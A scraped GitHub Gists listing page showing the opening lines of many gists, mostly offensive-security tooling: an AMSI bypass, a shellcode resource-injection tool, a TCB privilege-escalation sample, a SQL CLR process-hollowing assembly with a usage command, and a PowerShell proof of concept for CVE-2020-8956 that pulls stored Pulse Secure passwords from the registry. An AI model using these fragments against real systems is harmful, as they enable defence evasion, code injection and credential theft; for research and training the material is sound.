Skip to content

Instantly share code, notes, and snippets.

View unbaiat's full-sized avatar

unbaiat unbaiat

  • Unicorns United Ltd
  • Castalia
View GitHub Profile
@2S1one
2S1one / osed-rp-helper.ps1
Created June 3, 2025 11:37
RP powershell wrapper
$max_depth = 6
$rp_exe_path = "C:\tools\rp-win-x86.exe"
$out_dir = Join-Path (Get-Location) "rp_output"
$all_prefix = "all_"
$target_files = $args
# Ensure the output directory exists
New-Item -ItemType Directory -Path $out_dir -Force -ErrorAction SilentlyContinue | Out-Null
@willccbb
willccbb / grpo_demo.py
Last active November 14, 2025 14:40
GRPO Llama-1B
# train_grpo.py
#
# See https://github.com/willccbb/verifiers for ongoing developments
#
"""
citation:
@misc{brown2025grpodemo,
title={Granular Format Rewards for Eliciting Mathematical Reasoning Capabilities in Small Language Models},
author={Brown, William},
@hackermondev
hackermondev / zendesk.md
Last active October 30, 2025 16:39
1 bug, $50,000+ in bounties, how Zendesk intentionally left a backdoor in hundreds of Fortune 500 companies

hi, i'm daniel. i'm a 15-year-old with some programming experience and i do a little bug hunting in my free time. here's the insane story of how I found a single bug that affected over half of all Fortune 500 companies:

say hello to zendesk

If you've spent some time online, you’ve probably come across Zendesk.

Zendesk is a customer service tool used by some of the world’s top companies. It’s easy to set up: you link it to your company’s support email (like [email protected]), and Zendesk starts managing incoming emails and creating tickets. You can handle these tickets yourself or have a support team do it for you. Zendesk is a billion-dollar company, trusted by big names like Cloudflare.

Personally, I’ve always found it surprising that these massive companies, worth billions, rely on third-party tools like Zendesk instead of building their own in-house ticketing systems.

your weakest link

@WKL-Sec
WKL-Sec / Kernel32BaseAddrRetrieval.cpp
Created February 27, 2024 20:22
Retrieves the base address of kernel32.dll using x64 assembly in C++
#include <iostream>
#include <windows.h>
void* GetBaseAddressOfKernel32() {
void* kernel32BaseAddress = nullptr;
__asm {
mov rdi, 0xFFFFFFFFFFFFFFFF // Set RDI to -1
inc rdi // Increment RDI to 0
mov rax, 0 // Zero out RAX
@n0mi1k
n0mi1k / ipagrabber.py
Last active November 10, 2025 04:34
.IPA file extracter for Apple Configurator
import os
import shutil
"""
Steps to retrieve the IPA file from the Configurator app:
1. Install Apple Configurator from the Mac App Store and sign in
2. Connect your iOS device to your Mac
3. Select "Add > Apps..." and search for the app you want to install, click "Add"
4. The newer Apple Configurator deletes the IPA after installing it, so you'll need to use this tool to grab it
@susMdT
susMdT / Program.cs
Created February 24, 2023 02:57
C# Amsi bypass with hardware breakpint
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
namespace Test
{
// CCOB IS THE GOAT
@Wra7h
Wra7h / PEResourceInject.cs
Created October 17, 2022 05:39
PEResourceInject
/*
* PEResourceInject (C# version for x64) by Wra7h
*
* Add a bitmap resource to an executable. Parse the PE header and calculate the address of the shellcode.
* This avoids direct calls to VirtualAllocEx & WriteProcessMemory, but will modify the target exe on disk,
* and this implementation will create a backup of the executable in the same directory with a ".bak" extension.
*
* Compile: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe .\PEResourceInject.cs
* Use: PEResourceInject.exe <C:\Path\to\target\program.exe> <C:\Path\to\shellcode.bin>
*
// TcbElevation - Authors: @splinter_code and @decoder_it
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>
#pragma comment(lib, "Secur32.lib")
void EnableTcbPrivilege(BOOL enforceCheck);
@skahwah
skahwah / hollow.cs
Last active March 20, 2024 07:55
Custom assembly that is compatible with SQL CLR attacks.
//C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\hollow.cs
//SQLRecon.exe /auth:local /host:SQL02 /username:sa /password:Password123 /module:clr /dll:c:\temp\hollow.dll /function:BaconTime
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.SqlServer.Server;
@unbaiat
unbaiat / CVE-2020-8956.ps1
Created October 29, 2020 07:53 — forked from qkaiser/CVE-2020-8956.ps1
CVE-2020-8956 - Powershell PoC
Add-Type -AssemblyName System.Security;
$ives = Get-ItemProperty -Path 'Registry::HKEY_USERS\*\Software\Pulse Secure\Pulse\User Data\*'
foreach($ive in $ives) {
$ivename = $ive.PSPath.split('\')[-1].ToUpper()
Write-Host "[+] Checking IVE $($ivename)..."
$seed = [System.Text.Encoding]::GetEncoding('UTF-16').getBytes($ivename)
# 3 possible value names for password
$encrypted = $ive.Password1
if(!$encrypted){